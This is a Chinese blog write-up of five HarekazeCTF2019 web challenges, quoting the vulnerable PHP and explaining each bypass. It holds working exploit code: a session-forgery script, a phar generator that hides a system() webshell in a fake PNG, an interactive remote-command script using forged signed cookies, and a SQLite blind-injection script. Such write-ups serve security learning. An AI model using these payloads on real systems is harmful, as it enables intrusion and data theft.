• [HarekazeCTF2019] web


    在 buuoj 上看到的这个比赛题目,期间平台关了,就拿了 Dockerfile 本地做了,web 题目感觉还不错

    encode_and_encode [100]

    • 打开靶机,前两个页面都是 html 页面,第三个给了页面源码

    • 源码如下

    <?php
    error_reporting(0);
      
    if (isset($_GET['source'])) {
    	show_source(__FILE__);
    	exit();
    }
      
    function is_valid($str) {
    	$banword = [
          // no path traversal
          '..',
          // no stream wrapper
          '(php|file|glob|data|tp|zip|zlib|phar):',
          // no data exfiltration
          'flag'
        ];
        $regexp = '/' . implode('|', $banword) . '/i';
        if (preg_match($regexp, $str)) {
          return false;
        }
    	return true;
    }
      
    $body = file_get_contents('php://input');
    $json = json_decode($body, true);
      
    if (is_valid($body) && isset($json) && isset($json['page'])) {
        $page = $json['page'];
        $content = file_get_contents($page);
        if (!$content || !is_valid($content)) {
          $content = "<p>not found</p>
    ";
        }
      } else {
    	$content = '<p>invalid request</p>';
      }
      
    // no data exfiltration!!!
    $content = preg_replace('/HarekazeCTF{.+}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
    echo json_encode(['content' => $content]); 
    
    • file_get_contents('php://input') 获取 post 的数据,json_decode($body, true) 用 json 格式解码 post 的数据,然后 is_valid($body) 对 post 数据检验,大概输入的格式如下

    • is_valid($body) 对 post 数据检验,导致无法传输 $banword 中的关键词,也就无法传输 flag,这里在 json 中,可以使用 Unicode 编码绕过,flag 就等于 u0066u006cu0061u0067

    • 通过检验后,获取 page 对应的文件,并且页面里的内容也要通过 is_valid 检验,然后将文件中 HarekazeCTF{} 替换为 HarekazeCTF{&lt;censored&gt;} ,这样就无法明文读取 flag

    • 这里传入 /u0066u006cu0061u0067 后,由于 flag 文件中也包含 flag 关键字,所以返回 not found ,这也无法使用 file://

    • file_get_contents 是可以触发 php://filter 的,所以考虑使用伪协议读取,对 php 的过滤使用 Unicode 绕过即可

    • 可以看出,json 在传输时是 Unicode 编码的

    Avatar Uploader 1 [100]

    • 给了源码,打开靶机,登录之后,是一个文件上传

    • 首先 config.php 中定义了一些常量

    • 然后在 upload.php 中判断文件大小,并使用 FILEINFO 判断上传图片类型,上传图片只能是 png 类型

    • 后面再用 getimagesize 判断文件像素大小,并且再进行一次类型判断,如果不是 png 类型就给出 flag

    • 在这两种判断上传图片类型的函数中,有一个很有趣的现象, FILEINFO 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以,代码如下

    <?php
    $file = finfo_open(FILEINFO_MIME_TYPE);
      
    var_dump(finfo_file($file, "test"));
      
    $f = getimagesize("test"); 
    var_dump($f[2] === IMAGETYPE_PNG);
    
    • 结果,16进制文件也在下面

    • 直接上传这个文件就可以获取 flag 了

    Easy Notes [200]

    • 给了源码,打开靶机,是一个笔记系统

    • 在登陆处进行了匹配,只允许输入 4 到 64 位规定字符,且不是前端验证

    • 登陆成功后,可以进行增删查和导出为 zip 或 tar 的功能,点击 Get flag 提示不是 admin

    • 既然拿到源码就先看看全局配置 config.php ,就写了一行,定义临时文件目录

    define('TEMP_DIR', '/var/www/tmp');
    
    • 进入 page/flag.php 看一下给出 flag 的条件,要满足 is_admin() 函数

    • 跟进 is_admin() 函数,没有发现什么可以利用的地方

    • 看到有个导出功能,它会将添加的 note 导出为 zip,这个文件存放的位置在 TEMP_DIR ,和 session 信息保存在同一个位置,那么是不是可以考虑伪造 session

    • session 文件以 sess_ 开头,且只含有 a-zA-Z0-9-

    • 看到 $filename 处可以满足所有的条件

    • 构造 usersess_type. ,经过处理之后,$path 就是 TEMP_DIR/sess_0123456789abcdef 这就伪造了一个 session 文件

    • 然后向这个文件写入 note 的 title

    • php 默认的 session 反序列化方式是 php ,其存储方式为 键名+竖线+经过serialize函数序列处理的值 ,这就可以伪造 admin

    • 在最后,它会将构造的 $filename 返回,这样就可以拿到构造出的 admin 的 session 数据

    • 很典型的 session 伪造,session 反序列化

    • 利用脚本

    import re
    import requests
    URL = 'http://192.168.233.136:9000/'
    
    while True:
    	# login as sess_
    	sess = requests.Session()
    	sess.post(URL + 'login.php', data={
    		'user': 'sess_'
    	})
    
    	# make a crafted note
    	sess.post(URL + 'add.php', data={
    		'title': '|N;admin|b:1;',
    		'body': 'hello'
    	})
    
    	# make a fake session
    	r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
    	print(r)
    	
    	sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
    	print(sessid)
    	
    	# get the flag
    	r = requests.get(URL + '?page=flag', cookies={
    		'PHPSESSID': sessid
    	}).content.decode('utf-8')
    	flag = re.findall(r'HarekazeCTF{.+}', r)
    
    	if len(flag) > 0:
    		print(flag[0])
    		break
    

    Avatar Uploader 2 [300]

    <?php
    error_reporting(0);
    
    require_once('config.php');
    require_once('lib/util.php');
    require_once('lib/session.php');
    
    $session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
    if ($session->isset('flash')) {
      $flash = $session->get('flash');
      $session->unset('flash');
    }
    $avatar = $session->isset('avatar') ? 'uploads/' . $session->get('avatar') : 'default.png' ;
    $session->save();
    
    include('common.css');
    
    include($session->get('theme', 'light') . '.css');
    
    if ($session->isset('name')) {
        echo "Hello".$session->get('name')."</br>";
    }
    
    if ($flash) {
        echo $flash['type']."</br>";
        echo $flash['message']."</br>";
    }
    if ($session->isset('name')) {
        echo "Please upload"."</br>";
    } else {
        echo "Please sign in"."</br>";
    }
    
    • 这里的 session 处理机制是自己写的,在 libsession.php 中,首先确认的事情是,登录后 HTTP 头部返回的 Cookiesession=******.****** 这种格式的

    • 首先 __construct 中,判断 session 是否存在 $_COOKIE 中,如果存在则以 . 分割 session ,然后对 datasignature 进行 verify 函数认证,认证成功就返回数据的 json_decode 的结果

    • isset 中判断参数 $key 是否在 data 中,get 中返回 datakey 为参数 $key 的数据,set 中将 datakey 为参数 $key 的数据设置为参数 $valueunset 中删除 datakey 为参数 $key 的数据

    • save 中将 data 转化为 json 并进行 urlsafe_base64_encode,再用 signdata 进行签名

    • 这样整个 session.php 就完了,回到 index.php,然后进行的是 flash 的判断,找了一下,在 libutil.php 中描述了 flash 并且给了调用 flash 函数的条件,即 error 函数,找了一下,errorupload.php 中,上传失败时调用

    • 做的测试如图,flash 将错误信息保存在 session 中的

    • 根据给的提示,password_hash 函数是存在安全隐患的,它的第一个参数不能超过 72 个字符,这个函数在 sign 中被调用,signsave 调用,saveindex.php 中被调用

    • password_hash 函数的漏洞就意味着只对前 72 个字符进行签名,只要前 72 个字符相同,那么就会在校验时通过

    • 那么是不是可以登录一次,然后访问 upload.php 触发 error 函数,这样就能绕过 session 校验,然后对 data 信息进行修改,进而触发其他操作

    • 可以看到,在 index.php 中存在一行代码 include($session->get('theme','light').'.css'); ,session 信息是由我们控制的,那么就可以通过 phar 协议,触发 LFI ,首先要把 phar 文件上传,里面复合一个假的 css 文件,存放一句话,这样就可以在 include 时触发 RCE

    • 生成 phar 代码

    <?php
    $png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
    $phar = new Phar('exp.phar');
    $phar->startBuffering();
    $phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
    $phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
    $phar->stopBuffering();
    
    • 本地对这个 phar 做的一个测试

    • 新登录一个用户,上传这个 phar,记录这个 phar 的地址和名字,然后去 upload.php 触发一次 error ,记录 datasignature ,修改 data ,增加 theme 键,键值为 phar 协议读取上传的文件,然后生成 session 再去访问 index.php 传入命令即可

    • exp.py

    import base64
    import json
    import re
    import requests
    import urllib.parse
    
    url = 'http://192.168.233.136:9003/'
    
    def b64decode(s):
    	return base64.urlsafe_b64decode(s + '=' * (3 - (3 + len(s)) % 4))
    
    sess = requests.Session()
    username = b"peri0d".decode()
    
    url_1 = url + 'signin.php'
    sess.post(url=url_1, data={'name': username})
    
    url_2 = url + 'upload.php'
    f = open('exp.phar', 'rb')
    sess.post(url_2, files={'file': ('exp.png', f)})
    
    data = sess.cookies['session'].split('.')[0]
    data = json.loads(b64decode(data))
    avatar = data['avatar']
    
    url_3 = url + 'upload.php'
    sess.get(url_3, allow_redirects=False)
    data, sig = sess.cookies['session'].split('.')
    data = b64decode(data)
    payload = data.replace(b'}}', '}},"theme":"phar://uploads/{}/exp"}}'.format(avatar).encode())
    sess.cookies.set('session', base64.b64encode(payload).decode().replace('=', '') + '.' + sig)
    
    while True:
    	command = input('> ')
    	c = sess.get(url + '?cmd=' + urllib.parse.quote(command)).content.decode()
    	result = re.findall(r'/* light/dark.css */(.+)/**/', c, flags=re.DOTALL)[0]
    	print(result.strip())
    

    Sqlite Voting [350]

    • 打开靶机,看到投票的页面,并且给了源码

    • vote.php 页面 POST 参数 id ,只能为数字。并且在 schema.sql 中发现了 flag

      DROP TABLE IF EXISTS `vote`;
      CREATE TABLE `vote` (
        `id` INTEGER PRIMARY KEY AUTOINCREMENT,
        `name` TEXT NOT NULL,
        `count` INTEGER
      );
      INSERT INTO `vote` (`name`, `count`) VALUES
        ('dog', 0),
        ('cat', 0),
        ('zebra', 0),
        ('koala', 0);
      
      DROP TABLE IF EXISTS `flag`;
      CREATE TABLE `flag` (
        `flag` TEXT NOT NULL
      );
      INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
    
    • vote.php 中给出了查询的 SQL 语句,但是对参数进行了检测
      function is_valid($str) {
        $banword = [
          // dangerous chars
          // " % ' * + / < = >  _ ` ~ -
          "["%'*+\/<=>\\_`~-]",
          // whitespace chars
          's',
          // dangerous functions
          'blob', 'load_extension', 'char', 'unicode',
          '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
          'in', 'limit', 'order', 'union', 'join'
        ];
        $regexp = '/' . implode('|', $banword) . '/i';
        if (preg_match($regexp, $str)) {
          return false;
        }
        return true;
      }
      
      $id = $_POST['id'];
      if (!is_valid($id)) {
        die(json_encode(['error' => 'Vote id contains dangerous chars']));
      }
      
      $pdo = new PDO('sqlite:../db/vote.db');
      $res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
      if ($res === false) {
        die(json_encode(['error' => 'An error occurred while updating database']));
      }
    
    • UPDATE 成功与失败分别对应了不同的页面,那么是不是可以进行盲注,但是考虑到它过滤了 '" 这就无法使用字符进行判断,char 又被过滤也无法使用 ASCII 码判断

    • 所以可以考虑使用 hex 进行字符判断,将所有的的字符串组合用有限的 36 个字符表示

    • 先考虑对 flag 16 进制长度的判断,假设它的长度为 xy 表示 2 的 n 次方,那么 x&y 就能表现出 x 二进制为 1 的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方

    • 那么如何构造报错语句呢?在 sqlite3 中,abs 函数有一个整数溢出的报错,如果 abs 的参数是 -9223372036854775808 就会报错,同样如果是正数也会报错

    • 判断长度的 payload : abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)

    • 脚本如下,长度 84

      import requests
      
      url = "http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php"
      l = 0
      for n in range(16):
      	payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
      	data = {
      		'id' : payload
      	}
      	
      	r = requests.post(url=url, data=data)
      	print(r.text)
      	if 'occurred' in r.text:
      		l = l|1<<n
      
      print(l)
    

    • 然后考虑逐字符进行判断,但是 is_valid() 过滤了大部分截取字符的函数,而且也无法用 ASCII 码判断
    • 这一题对盲注语句的构造很巧妙,首先利用如下语句分别构造出 ABCDEF ,这样十六进制的所有字符都可以使用了,并且使用 trim(0,0) 来表示空字符
      # hex(b'zebra') = 7A65627261
      # 除去 12567 就是 A ,其余同理
      A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
      
      C = 'trim(hex(typeof(.1)),12567)'
      
      D = 'trim(hex(0xffffffffffffffff),123)'
      
      E = 'trim(hex(0.1),1230)'
      
      F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
      
      # hex(b'koala') = 6B6F616C61
      # 除去 16CF 就是 B
      B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
    
    • 然后逐字符进行爆破,已经知道 flag 格式为 flag{}hex(b'flag{')==666C61677B ,在其后面逐位添加十六进制字符,构成 paylaod
    • 再利用 replace(length(replace(flag,payload,''))),84,'') 这个语句进行判断
    • 如果 flag 不包含 payload ,那么得到的 length 必为 84 ,最外面的 replace 将返回 false ,通过 case when then else 构造 abs 参数为 0 ,它不报错
    • 如果 flag 包含 payload ,那么 replace(flag, payload, '') 将 flag 中的 payload 替换为空,得到的 length 必不为 84 ,最外面的 replace 将返回 true ,通过 case when then else 构造 abs 参数为 0x8000000000000000 令其报错
    • 以上就可以根据报错爆破出 flag,最后附上出题人脚本
    # coding: utf-8
    import binascii
    import requests
    URL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php'
    
    
    l = 0
    i = 0
    for j in range(16):
      r = requests.post(URL, data={
        'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
      })
      if b'An error occurred' in r.content:
        l |= 1 << j
    print('[+] length:', l)
    
    
    table = {}
    table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
    table['C'] = 'trim(hex(typeof(.1)),12567)'
    table['D'] = 'trim(hex(0xffffffffffffffff),123)'
    table['E'] = 'trim(hex(0.1),1230)'
    table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
    table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
    
    
    res = binascii.hexlify(b'flag{').decode().upper()
    for i in range(len(res), l):
      for x in '0123456789ABCDEF':
        t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
        r = requests.post(URL, data={
          'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
        })
        if b'An error occurred' in r.content:
          res += x
          break
      print(f'[+] flag ({i}/{l}): {res}')
      i += 1
    print('[+] flag:', binascii.unhexlify(res).decode())
    

    题目总结

    1. json 传输时是 Unicode 编码的,可以使用 Unicode 编码来绕过一个关键词过滤
    2. FILEINFO 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以
    3. php 默认的 session 反序列化方式是 php ,其存储方式为 键名+竖线+经过serialize函数序列处理的值 ,默认保存在 /tmp
    4. 上传文件存放的位置在 TEMP_DIR ,和 session 信息保存在同一个位置,那么是不是可以考虑伪造 session
    5. password_hash 函数只对第一个参数的前 72 个字符有效
    6. phar 是一系列文件的集合,通过 addFromString(filename, file_content) 写入信息,那么通过 phar://test.phar/filename 自然可以读取到,通常文件上传多可以考虑 phar
    7. sqlite3 盲注 bypass ,利用 replace() 和 length 进行爆破,trim() 替换空字符,trim() 和 hex() 构造字符,& 特性获取长度等等,在 mysql 中也存在溢出的现象

    参考链接

  • 相关阅读:
    [java学习点滴]PropertiesUtil 读取properties配置帮助类
    Java快速向数据库中插入大量数据 比如10万条以上
    Java通过IO流输入输出 向文件中存入大量三个属性的值,并通过验证前两个属性输出第三个属性
    JSON 的使用方法
    jQuery easyUI id选择器 类选择器 标签选择器 属性选择器 及DOM对象和jQuery相互之间的转换
    解决request中文乱码问题
    jsp内置对象request使用方法2
    jsp内置对象request的使用方法
    easyui-dialog对话框练习
    使用combobox下拉列表框实现省 市 县 的三级联动
  • 原文地址:https://www.cnblogs.com/peri0d/p/12465528.html
Copyright © 2020-2023  润新知